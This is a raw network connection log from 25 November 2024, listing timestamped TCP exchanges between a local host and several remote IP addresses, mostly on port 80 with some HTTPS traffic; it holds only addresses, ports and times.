Nov 25, 2024 18:28:45.549362898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.549388885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.549431086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.549467087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.549762011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.549830914 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.549918890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.549967051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.550431013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.550484896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.550611973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.550692081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.551120996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.551167965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.551503897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.551548958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.552018881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.552064896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.552175999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.552310944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.552938938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.552988052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.553765059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.553813934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.553893089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.553905010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.553950071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.554729939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.554775000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.554925919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.554969072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.555624962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.555695057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.555757999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.555795908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.556520939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.556562901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.556885004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.556953907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.557435036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.557547092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.557580948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.557621956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.558353901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.558418989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.558429956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.558453083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.559240103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.559281111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.559360027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.559393883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.560169935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.560316086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.560440063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.560493946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.561060905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.561110973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.561162949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.561203957 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561230898 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561239004 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561266899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.561270952 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561285973 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561301947 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561316967 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.561326027 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.561337948 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.561352015 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.561384916 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.561974049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.562026978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.562098026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.562266111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.562844038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.562889099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.563493967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.563539028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.563981056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.564018011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.564106941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.564148903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.564682961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.564742088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.565064907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.565109015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.565596104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.565754890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.566215038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.566256046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.566510916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.566528082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.566556931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.566580057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.567398071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.567449093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.567517042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.567578077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.568504095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.568562031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.569238901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.569281101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.569289923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.569293976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.569320917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.569341898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.570312977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.570533991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.570550919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.570871115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.571160078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.571212053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.571477890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.571527004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.572082043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.572143078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.572943926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.572992086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.573004961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.573018074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.573050022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.573075056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.573857069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.573911905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.574001074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.574040890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.574791908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.574837923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.575376034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.575421095 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.575656891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.575702906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.575774908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.575822115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.576514959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.576560020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.576725006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.576781988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.577373981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.577435017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.577438116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.577471972 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.579523087 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.580307961 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.580327988 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.580821037 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.580826998 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.633212090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.633258104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.633274078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.633310080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.633649111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.633697033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.633795023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.633835077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.634639025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.634696960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.634785891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.634938002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.635472059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.635529995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.635560036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.635742903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.636415005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.636465073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.636497021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.636543036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.636746883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.636792898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.636792898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.636832952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.637438059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.637486935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.637501001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.637537956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.638238907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.638283968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.638307095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.638341904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.639185905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.639233112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.639287949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.639337063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.640275955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.640338898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.640393972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.640430927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.640919924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.641000986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.641015053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.641056061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.641871929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.641907930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.641926050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.641942978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.643532038 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.643610001 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.643671989 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.643893957 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.643939018 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.643979073 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.643995047 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.647269011 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.647303104 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.647772074 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.648174047 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.648191929 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.650688887 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.652676105 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.652702093 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.653245926 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.653251886 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.670473099 CET	443	49819	13.107.21.237	192.168.2.5
Nov 25, 2024 18:28:45.671823978 CET	443	49819	13.107.21.237	192.168.2.5
Nov 25, 2024 18:28:45.671900988 CET	49819	443	192.168.2.5	13.107.21.237
Nov 25, 2024 18:28:45.673491955 CET	49819	443	192.168.2.5	13.107.21.237
Nov 25, 2024 18:28:45.673511982 CET	443	49819	13.107.21.237	192.168.2.5
Nov 25, 2024 18:28:45.675483942 CET	443	49851	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:45.675934076 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:45.675968885 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:45.676038980 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:45.676342010 CET	49868	443	192.168.2.5	20.110.205.119
Nov 25, 2024 18:28:45.676361084 CET	443	49868	20.110.205.119	192.168.2.5
Nov 25, 2024 18:28:45.676481962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.676548004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.676578045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.676671028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.676826954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.676872015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.676974058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.677119970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.677699089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.677762985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.677769899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.677793980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.677872896 CET	443	49851	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:45.677928925 CET	49851	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:45.678158998 CET	49851	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:45.678177118 CET	443	49851	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:45.678663015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.678708076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.678752899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.678792953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.679573059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.679625034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.679631948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.679661036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.680449963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.680509090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.680548906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.680583000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.681480885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.681523085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.681675911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.681730032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.682327986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.682346106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.682390928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.682403088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.683221102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.683351040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.683353901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.683388948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.684092999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.684151888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.684165001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.684201002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.684937954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.684994936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.685008049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.685044050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.685813904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.685884953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.685992956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.686079025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.686984062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.687047958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.745789051 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.746372938 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.746432066 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.746887922 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.746901035 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.751189947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.751238108 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.751267910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.751301050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.751396894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.751452923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.751529932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.751583099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.752276897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.752346992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.752363920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.752409935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.753182888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.753248930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.753279924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.753335953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.754098892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.754261971 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.754323959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.755176067 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.755218983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.755243063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.755269051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.755673885 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.755938053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.755983114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.756026983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.756077051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.756274939 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.756325006 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.756773949 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:45.756784916 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:45.756827116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.756871939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.756922960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.757699013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.757744074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.757836103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.757878065 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.758610964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.758671999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.758703947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.758898973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.759457111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:45.759522915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.770204067 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.770231962 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.770271063 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.770287991 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.770319939 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.770347118 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.777837038 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.777903080 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.797180891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:45.831382990 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.831410885 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:45.831450939 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:45.831470966 CET	443	49825	104.117.182.59	192.168.2.5
